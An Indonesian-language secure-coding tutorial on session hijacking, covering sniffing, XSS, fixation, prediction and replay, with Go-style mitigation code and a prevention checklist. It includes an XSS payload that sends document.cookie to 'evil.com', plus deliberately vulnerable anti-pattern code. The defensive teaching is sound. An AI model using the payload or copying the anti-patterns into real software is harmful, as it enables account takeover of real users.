Session Hijacking #
Session hijacking adalah serangan di mana attacker berhasil mendapatkan session identifier milik user lain dan menggunakannya untuk mengakses aplikasi seolah-olah mereka adalah user tersebut. Tidak perlu username. Tidak perlu password. Tidak perlu bypass MFA. Cukup dengan session token yang valid, server memperlakukan attacker sebagai user yang sah — karena dari perspektif server, memang tidak ada cara membedakannya.
Inilah yang membuat session hijacking sangat berbahaya: seluruh infrastruktur autentikasi yang sudah dibangun dengan susah payah — password hashing, MFA, rate limiting — bisa dibypass sepenuhnya jika session management-nya buruk. Engineer yang membangun flow autentikasi yang sempurna tapi tidak memperhatikan lifecycle session telah membangun tembok yang kokoh dengan pintu belakang yang terbuka.
Mengapa Session adalah Target yang Berharga #
HTTP adalah protokol yang stateless — setiap request berdiri sendiri, server tidak ingat request sebelumnya. Session adalah solusi untuk masalah ini: setelah user berhasil login, server menerbitkan token (session ID) yang digunakan user untuk membuktikan identitasnya di setiap request berikutnya.
Lifecycle sebuah session:
1. User kirim credential (username + password + MFA)
2. Server verifikasi credential
3. Server generate session ID yang kuat secara kriptografis
4. Session ID disimpan di server (database/Redis) dengan:
- User ID yang terasosiasi
- Waktu dibuat
- Waktu terakhir aktif
- Metadata (IP, User-Agent, dll)
5. Session ID dikirim ke browser via cookie
6. Di setiap request berikutnya:
- Browser kirim cookie secara otomatis
- Server lookup session ID → dapatkan user context
- Server proses request sebagai user tersebut
7. Session berakhir saat:
- User logout (server invalidasi session)
- Idle timeout terlewati
- Absolute timeout tercapai
Session ID = proxy untuk identitas user setelah autentikasi
Siapapun yang memegang session ID valid = dianggap sebagai user itu
flowchart LR
A[User Login] --> B[Server Verifikasi]
B --> C[Generate Session ID]
C --> D[("(Store: Redis/DB\nuser_id, created_at\nlast_active, metadata)")]
C --> E[Set-Cookie: session=ID]
E --> F[Browser]
F --> G["Subsequent Request\nCookie: session=ID"]
G --> H["Server Lookup\nSession ID"]
H --> I["Auth Context\nDapatkan user"]
I --> J[Process Request]Setiap komponen dalam lifecycle ini adalah potensi attack vector. Session ID yang bisa disadap, ditebak, atau dipindahkan ke konteks lain — semua membuka pintu untuk hijacking.
Lima Jenis Session Hijacking #
1. Session Sniffing #
Session sniffing terjadi ketika attacker menangkap traffic jaringan dan mengekstrak session token dari HTTP request yang tidak terenkripsi.
Skenario session sniffing di jaringan publik:
User di coffee shop terhubung ke WiFi bersama
↓
Attacker di jaringan yang sama menjalankan Wireshark atau tcpdump
↓
User membuka http://app.contoh.com (bukan HTTPS!)
↓
Browser mengirim request:
GET /dashboard HTTP/1.1
Host: app.contoh.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
↓
Attacker melihat packet ini di Wireshark
↓
Attacker copy cookie value dan set di browser mereka
↓
Attacker akses app.contoh.com dengan session korban
→ Account takeover tanpa perlu tahu password
Pencegahan:
1. HTTPS wajib untuk semua halaman
2. HSTS header: browser wajib HTTPS untuk domain ini
3. Secure flag pada cookie: cookie tidak dikirim via HTTP
# Nginx — HTTPS redirect dan HSTS
server {
listen 80;
server_name app.contoh.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name app.contoh.com;
# HSTS — paksa HTTPS selama 1 tahun, termasuk subdomain
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# Konfigurasi SSL lainnya...
}
2. XSS-based Session Hijacking #
Jika ada celah XSS di aplikasi dan session cookie tidak menggunakan HttpOnly, attacker bisa mencuri session token melalui JavaScript.
// Payload XSS yang mencuri session cookie
// Disisipkan attacker di form komentar atau input lain yang rentan
<script>
// Ambil semua cookie yang tidak HttpOnly
const stolen = document.cookie;
// Kirim ke server attacker
new Image().src = 'https://evil.com/steal?data=' +
encodeURIComponent(stolen) +
'&url=' + encodeURIComponent(location.href);
</script>
// Dengan session token yang diterima, attacker bisa:
// 1. Set cookie di browser mereka
// 2. Akses aplikasi sebagai korban
// Pencegahan:
// - HttpOnly cookie: document.cookie tidak mengandung session token
// - CSP: membatasi script yang bisa jalan dan tujuan fetch
// - Fix XSS di aplikasi
3. Session Fixation #
Session fixation adalah serangan yang lebih canggih. Alih-alih mencuri session yang sudah ada, attacker menentukan session ID yang akan digunakan korban sebelum mereka login — kemudian menggunakan session yang sama setelah korban berhasil login.
sequenceDiagram
participant A as Attacker
participant V as Victim
participant S as Server
A->>S: GET /login
S->>A: Set-Cookie: session=ATTACKER_KNOWN_ID
Note over A: Attacker tahu session ID ini
A->>V: Kirim link: https://app.com/login?sid=ATTACKER_KNOWN_ID
Note over V: Atau via link yang mengeset cookie
V->>S: GET /login (Cookie: session=ATTACKER_KNOWN_ID)
V->>S: POST /login {email, password}
S->>S: Verifikasi credential ✓
S->>S: ✗ Tidak regenerasi session ID!
S->>V: 200 OK (masih pakai session ATTACKER_KNOWN_ID)
Note over A: Attacker tahu session ID korban!
A->>S: GET /dashboard (Cookie: session=ATTACKER_KNOWN_ID)
S->>A: 200 OK — Attacker masuk sebagai Victim!// ANTI-PATTERN: tidak regenerasi session ID setelah login
func loginUnsafe(req Request, res Response) {
email := req.Form("email")
password := req.Form("password")
user := verifyCredentials(email, password)
if user != nil {
// ✗ Session ID tetap sama — session fixation vulnerable!
session.Set("user_id", user.ID)
session.Set("logged_in", true)
res.Redirect("/dashboard")
}
}
// BENAR: selalu regenerasi session ID setelah login berhasil
func loginSafe(req Request, res Response) {
email := req.Form("email")
password := req.Form("password")
user := verifyCredentials(email, password)
if user != nil {
// Simpan data yang perlu dibawa
oldFlashMessages := session.Get("flash_messages")
// ✓ Buat session baru yang berbeda — hapus yang lama
session.Clear() // hapus session lama sepenuhnya
session.Regenerate() // atau gunakan method regenerate jika tersedia
// Set data session baru
session.Set("user_id", user.ID)
session.Set("logged_in", true)
session.Set("created_at", time.Now().UTC().Format(time.RFC3339))
session.Set("ip_at_login", req.RemoteAddr)
session.Set("ua_at_login", req.UserAgent())
// Kembalikan flash messages jika perlu
session.Set("flash_messages", oldFlashMessages)
res.Redirect("/dashboard")
}
}
4. Session Prediction #
Jika session ID tidak dibuat dengan cara yang kriptografis aman, attacker bisa mencoba menebaknya secara brute force atau menemukan polanya.
// ANTI-PATTERN: session ID yang bisa ditebak
// Berbasis waktu — sequential dan predictable
var unsafeTimeID = strconv.FormatInt(time.Now().Unix(), 10)
// Random biasa — tidak kriptografis, bisa diprediksi dengan seed yang sama
var unsafeRandomID = strconv.Itoa(rand.Intn(900000) + 100000)
// MD5 dari user info — bisa di-reverse atau di-rainbow-table
var unsafeMd5ID = fmt.Sprintf("%x", md5.Sum([]byte(userID+email)))
// BENAR: session ID yang kriptografis aman
// 32 byte = 256 bit entropy
// URL-safe base64 encoding → string yang aman untuk cookie
func generateSessionID() string {
return randomURLSafe(32)
}
// Verifikasi kekuatan session ID:
// randomURLSafe(32) menghasilkan ~43 karakter
// Entropy: 256 bit
// Kemungkinan brute force: 2^256 ≈ 10^77 kombinasi
// Dengan 1 miliar attempt per detik: butuh lebih dari umur alam semesta
5. Session Replay #
Session replay terjadi ketika session yang seharusnya sudah tidak valid — karena user logout, session expired, atau user sudah di lokasi berbeda — masih bisa digunakan karena server tidak memvalidasinya dengan benar.
Skenario session replay:
Attacker mendapat session token korban (via XSS, sniffing, dll)
Korban logout dari aplikasi
↓
Server hanya hapus cookie di client (response.delete_cookie)
Server TIDAK menginvalidasi session di backend
↓
Attacker masih punya token yang lama
Attacker set cookie secara manual di browser
Attacker akses aplikasi → server lookup token → masih valid!
→ Account masih bisa diakses meski korban sudah logout
Pencegahan:
Logout harus invalidasi session di server, tidak hanya di client
// ANTI-PATTERN: logout hanya hapus cookie
func logoutUnsafe(res Response, req Request) {
res.DeleteCookie("session") // hanya hapus di client
res.Redirect("/login")
// Session di Redis/DB masih ada dan masih valid!
}
// BENAR: invalidasi session di server DAN hapus cookie
func logoutSafe(res Response, req Request) {
sessionToken := req.Cookie("session")
if sessionToken != "" {
// Hapus session dari storage backend
redisClient.Delete("session:" + sessionToken)
// Atau jika pakai database:
// Session.query.filter_by(token=sessionToken).delete()
}
res.SetCookie(&http.Cookie{
Name: "session",
Value: "",
MaxAge: -1,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
res.Redirect("/login")
}
Implementasi Session Management yang Benar #
Session Store yang Aman #
Session sebaiknya disimpan di backend store (Redis, database) — bukan hanya di cookie. Ini memungkinkan server untuk menginvalidasi session kapan saja.
// Session Store yang Aman — session berbasis Redis
func createSession(userID int, req Request) string {
sessionToken := randomURLSafe(32)
sessionData := map[string]string{
"user_id": strconv.Itoa(userID),
"created_at": time.Now().UTC().Format(time.RFC3339),
"last_active": time.Now().UTC().Format(time.RFC3339),
"ip": req.RemoteAddr,
"user_agent": truncate(req.UserAgent(), 200), // batasi panjang
}
// Simpan di Redis dengan TTL
redisClient.HSet("session:"+sessionToken, sessionData)
redisClient.Expire("session:"+sessionToken, SESSION_TTL_SECONDS)
return sessionToken
}
func getSession(sessionToken string, req Request) map[string]string {
if sessionToken == "" {
return nil
}
data := redisClient.HGetAll("session:" + sessionToken)
if len(data) == 0 {
return nil
}
// Cek idle timeout
lastActive, _ := time.Parse(time.RFC3339, data["last_active"])
if time.Since(lastActive).Seconds() > float64(IDLE_TTL_SECONDS) {
invalidateSession(sessionToken)
return nil
}
// Perbarui last_active (rolling timeout)
redisClient.HSet("session:"+sessionToken, "last_active",
time.Now().UTC().Format(time.RFC3339))
return data
}
func invalidateSession(sessionToken string) {
redisClient.Delete("session:" + sessionToken)
}
func invalidateAllSessions(userID int) {
// Logout dari semua device — berguna setelah password reset
// Scan semua session key (di production, maintain set of user's sessions)
// Atau simpan daftar session per user di Redis set
userSessions := redisClient.SMembers(fmt.Sprintf("user_sessions:%d", userID))
for _, token := range userSessions {
redisClient.Delete("session:" + token)
}
redisClient.Delete(fmt.Sprintf("user_sessions:%d", userID))
}
Binding Session ke Konteks User #
Mengikat session ke konteks spesifik user menambahkan lapisan perlindungan: bahkan jika token dicuri, penggunaan dari konteks yang berbeda akan dideteksi.
// Binding session ke konteks user — memvalidasi bahwa request
// berasal dari konteks yang sama dengan saat session dibuat.
func validateSessionContext(session map[string]string, req Request) bool {
// Cek User-Agent
currentUA := req.UserAgent()
sessionUA := session["user_agent"]
// Perbandingan fleksibel — UA bisa berubah karena update browser
// tapi perubahan drastis (Chrome → Firefox) mencurigakan
if !userAgentsSimilar(currentUA, sessionUA) {
logSuspiciousSession(session, req, "user_agent_mismatch")
// Opsi: invalidasi session atau minta re-auth
return false
}
// Cek perubahan IP address (opsional dan hati-hati)
// IP bisa berubah secara legitimate (mobile network switch, VPN)
// Jangan langsung invalidasi — gunakan untuk scoring risiko saja
currentIP := req.RemoteAddr
sessionIP := session["ip"]
if currentIP != sessionIP {
// Log sebagai anomali, tapi jangan langsung blokir
logSuspiciousSession(session, req, "ip_changed")
// Pertimbangkan risk scoring di sini
}
return true
}
// Cek apakah dua user agent dari browser yang sama.
func userAgentsSimilar(ua1, ua2 string) bool {
// Extract browser name saja (Chrome, Firefox, Safari, dll)
browserPattern := regexp.MustCompile(`(Chrome|Firefox|Safari|Edge|Opera)`)
browser1 := browserPattern.FindString(ua1)
browser2 := browserPattern.FindString(ua2)
if browser1 != "" && browser2 != "" {
return browser1 == browser2
}
return true // tidak bisa dibandingkan, anggap OK
}
Deteksi Anomali Session #
Monitoring aktif terhadap pola penggunaan session yang tidak normal adalah lapisan deteksi yang penting.
// Pola anomali yang perlu dideteksi:
func detectSessionAnomalies(sessionToken string, req Request) {
session := getSession(sessionToken, req)
if session == nil {
return
}
anomalies := []Anomaly{}
// 1. Deteksi concurrent session dari lokasi berbeda secara bersamaan
activeLocations := getActiveLocationsForUser(session["user_id"])
currentLocation := getGeoFromIP(req.RemoteAddr)
if len(activeLocations) > 1 && !contains(activeLocations, currentLocation) {
anomalies = append(anomalies, Anomaly{
Type: "concurrent_location",
Detail: fmt.Sprintf("Active sessions from %v and %s", activeLocations, currentLocation),
})
}
// 2. Deteksi penggunaan session dari geografis yang tidak mungkin
// (login dari Jakarta, 5 menit kemudian dari New York)
lastLocation := session["last_known_location"]
if lastLocation != "" && isImpossibleTravel(
lastLocation, currentLocation,
5, // 5 menit tidak cukup untuk pindah benua
) {
anomalies = append(anomalies, Anomaly{
Type: "impossible_travel",
Detail: fmt.Sprintf("From %s to %s in a short time", lastLocation, currentLocation),
})
}
// 3. Deteksi akses di luar jam normal user
userTimezone := session["timezone"]
localHour := getLocalHour(userTimezone)
if localHour < 4 || localHour > 23 { // aktivitas antara 00:00-04:00 lokal
anomalies = append(anomalies, Anomaly{
Type: "unusual_hour",
Detail: fmt.Sprintf("Activity at %d:00 in the user's local time", localHour),
})
}
if len(anomalies) > 0 {
for _, anomaly := range anomalies {
logSecurityEvent("session_anomaly", map[string]any{
"session_token_hash": hashToken(sessionToken),
"user_id": session["user_id"],
"anomaly": anomaly,
"request_ip": req.RemoteAddr,
})
}
// Trigger action berdasarkan severity
if hasImpossibleTravel(anomalies) {
// Langsung invalidasi session — ini sangat mencurigakan
invalidateSession(sessionToken)
sendSecurityAlertEmail(session["user_id"], anomalies)
} else {
// Minta re-autentikasi (step-up authentication)
flagSessionForReauth(sessionToken)
}
}
}
Concurrent Session Control #
Membatasi berapa banyak session aktif yang boleh dimiliki satu user adalah cara efektif untuk mendeteksi dan membatasi dampak session hijacking.
const MAX_CONCURRENT_SESSIONS = 3
func createSessionWithLimit(userID int, req Request) string {
// Dapatkan semua session aktif user ini
userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
activeSessions := redisClient.SMembers(userSessionsKey)
// Jika sudah mencapai limit, hapus yang paling lama
if len(activeSessions) >= MAX_CONCURRENT_SESSIONS {
// Cari session tertua
var oldestToken string
var oldestTime time.Time
for _, token := range activeSessions {
sessionData := redisClient.HGet(fmt.Sprintf("session:%s", token), "created_at")
if sessionData != "" {
created, _ := time.Parse(time.RFC3339, sessionData)
if oldestTime.IsZero() || created.Before(oldestTime) {
oldestTime = created
oldestToken = token
}
}
}
if oldestToken != "" {
// Invalidasi session tertua
invalidateSession(oldestToken)
redisClient.SRem(userSessionsKey, oldestToken)
}
}
// Buat session baru
sessionToken := createSession(userID, req)
// Track session ini untuk user
redisClient.SAdd(userSessionsKey, sessionToken)
redisClient.Expire(userSessionsKey, SESSION_TTL_SECONDS)
return sessionToken
}
// Untuk fitur 'kelola device aktif' yang ditampilkan ke user.
func getUserActiveSessions(userID int) []SessionInfo {
userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
sessionTokens := redisClient.SMembers(userSessionsKey)
sessions := []SessionInfo{}
for _, token := range sessionTokens {
data := redisClient.HGetAll(fmt.Sprintf("session:%s", token))
if len(data) > 0 {
sessions = append(sessions, SessionInfo{
TokenLast4: token[len(token)-4:],
CreatedAt: data["created_at"],
LastActive: data["last_active"],
IP: data["ip"],
UserAgent: truncate(data["user_agent"], 50),
})
}
}
return sessions
}
Session Expiration yang Benar #
Dua jenis timeout harus diterapkan bersama, bukan memilih salah satu:
// Perbedaan idle timeout dan absolute timeout:
// Idle timeout:
// → Session expired jika tidak ada aktivitas selama N menit
// → Melindungi dari sesi yang ditinggalkan (user lupa logout)
// → Bisa diperpanjang dengan aktivitas (sliding timeout)
var IDLE_TIMEOUT = 30 * time.Minute
// Absolute timeout:
// → Session expired N jam setelah dibuat, apapun yang terjadi
// → Memaksa re-autentikasi secara periodik
// → Membatasi window jika session sudah dikompromikan tanpa diketahui
var ABSOLUTE_TIMEOUT = 8 * time.Hour
func checkSessionValidity(session map[string]string) (bool, string) {
now := time.Now().UTC()
// Cek absolute timeout
createdAt, _ := time.Parse(time.RFC3339, session["created_at"])
if now.Sub(createdAt) > ABSOLUTE_TIMEOUT {
return false, "absolute_timeout"
}
// Cek idle timeout
lastActive, _ := time.Parse(time.RFC3339, session["last_active"])
if now.Sub(lastActive) > IDLE_TIMEOUT {
return false, "idle_timeout"
}
return true, ""
}
Anti-Pattern yang Harus Dihindari #
// ✗ Anti-pattern 1: session ID yang tidak kriptografis aman
func antiPattern1(user User) {
sessionID := strconv.Itoa(user.ID) + strconv.FormatInt(time.Now().Unix(), 10)
// Sequential, predictable → bisa ditebak
}
// ✗ Anti-pattern 2: tidak regenerasi session ID setelah login
// Session fixation vulnerability
// ✗ Anti-pattern 3: session tanpa expiry
func antiPattern3(token string, data map[string]any) {
redisClient.HSet("session:"+token, data)
// Tidak ada TTL → session berlaku selamanya → window hijacking tak terbatas
}
// ✗ Anti-pattern 4: logout tidak invalidasi di server
func antiPattern4(res Response) {
res.DeleteCookie("session") // hanya hapus di client
}
// ✗ Anti-pattern 5: session ID panjang tapi disimpan di URL
// /dashboard?session=eyJhbGc...
// URL tersimpan di browser history, server log, referrer header
// ✗ Anti-pattern 6: tidak ada monitoring anomali
// Session yang dikompromikan tidak terdeteksi sampai user lapor
// ✗ Anti-pattern 7: semua session user dibiarkan aktif setelah password change
// Jika password diubah karena dikompromikan, semua session harus diinvalidasi
func changePassword(userID int, newPassword string) {
updatePassword(userID, newPassword)
// ✗ Lupa invalidasi semua session yang ada!
// Attacker yang sudah punya session masih bisa akses
}
// ✓ Benar:
func changePasswordSafe(userID int, newPassword string, currentSessionToken string) {
updatePassword(userID, newPassword)
// Invalidasi semua session kecuali yang sedang aktif (opsional)
invalidateAllSessionsExcept(userID, currentSessionToken)
sendNotification(userID, "password_changed_all_devices_logged_out")
}
Checklist Session Hijacking Prevention #
SESSION GENERATION:
□ Session ID menggunakan CSPRNG (secrets.token_urlsafe / SecureRandom)
□ Minimal 128-bit entropy (16 byte / 22 karakter base64url)
□ Session ID tidak mengandung informasi yang bisa ditebak (user ID, waktu)
□ Session ID tidak pernah muncul di URL — selalu via cookie
COOKIE SECURITY:
□ HttpOnly: true — tidak bisa diakses JavaScript
□ Secure: true — hanya dikirim via HTTPS
□ SameSite: Lax atau Strict — perlindungan CSRF
□ Max-Age/Expires: session tidak berlaku selamanya
SESSION LIFECYCLE:
□ Session ID di-regenerasi setelah login berhasil
□ Session ID di-regenerasi setelah privilege escalation
□ Idle timeout dikonfigurasi (30 menit adalah titik awal yang wajar)
□ Absolute timeout dikonfigurasi (8 jam untuk aplikasi bisnis)
□ Logout menginvalidasi session di server, tidak hanya hapus cookie
□ Password change menginvalidasi semua session aktif
SESSION STORAGE:
□ Session disimpan di backend (Redis/DB), bukan hanya di cookie
□ Session menyimpan metadata: created_at, last_active, IP, User-Agent
□ Session bisa diinvalidasi per-token dari server kapan saja
ANOMALY DETECTION:
□ Concurrent login dari lokasi yang secara fisik tidak mungkin terdeteksi
□ Perubahan User-Agent yang drastis di-log
□ Aktivitas di luar jam normal user dicatat
□ Alert dikirim ke user untuk aktivitas yang mencurigakan
CONCURRENT SESSION:
□ Ada batas maksimum session aktif per user
□ User bisa melihat dan mencabut session aktif mereka
□ API untuk "logout dari semua device" tersedia
HTTPS:
□ TLS aktif di semua environment (termasuk staging)
□ HTTP redirect ke HTTPS untuk semua request
□ HSTS header aktif dengan durasi yang panjang
Ringkasan #
- Session adalah proxy untuk identitas — siapapun yang memegang session ID valid dianggap sebagai user oleh server. Ini menjadikannya target utama attacker yang ingin bypass autentikasi.
- Lima vektor hijacking yang berbeda membutuhkan mitigasi yang berbeda — sniffing (HTTPS + Secure cookie), XSS (HttpOnly + CSP), fixation (regenerasi session ID), prediction (CSPRNG), replay (invalidasi server-side saat logout).
- Session ID harus dibuat dengan CSPRNG —
secrets.token_urlsafe(32)di Python,crypto.randomBytes(32)di Node.js. Bukan random biasa, bukan timestamp, bukan MD5 dari user data.- Regenerasi session ID setelah login adalah wajib — ini satu-satunya cara mencegah session fixation. Buat session baru yang sama sekali berbeda setelah kredensial diverifikasi.
- Dua jenis timeout harus diterapkan bersamaan — idle timeout memproteksi session yang ditinggalkan, absolute timeout memaksa re-autentikasi periodik meski session terus digunakan.
- Logout harus invalidasi di server, bukan hanya hapus cookie — cookie yang dihapus di client tidak mencegah replay attack jika session di backend masih valid.
- Password change harus invalidasi semua session — jika password diubah karena dikompromikan, session attacker yang sudah ada harus ikut dihapus.
- Binding session ke konteks menambahkan lapisan perlindungan — perubahan drastis User-Agent atau lokasi yang secara fisik tidak mungkin dalam waktu singkat adalah sinyal hijacking.
- Concurrent session limit melindungi dan memberi visibilitas — membatasi jumlah session aktif sekaligus memungkinkan user melihat dan mencabut akses yang tidak dikenali.
- Session management yang benar adalah fondasi semua mekanisme autentikasi lainnya — MFA, password kuat, dan rate limiting sia-sia jika session bisa dibajak.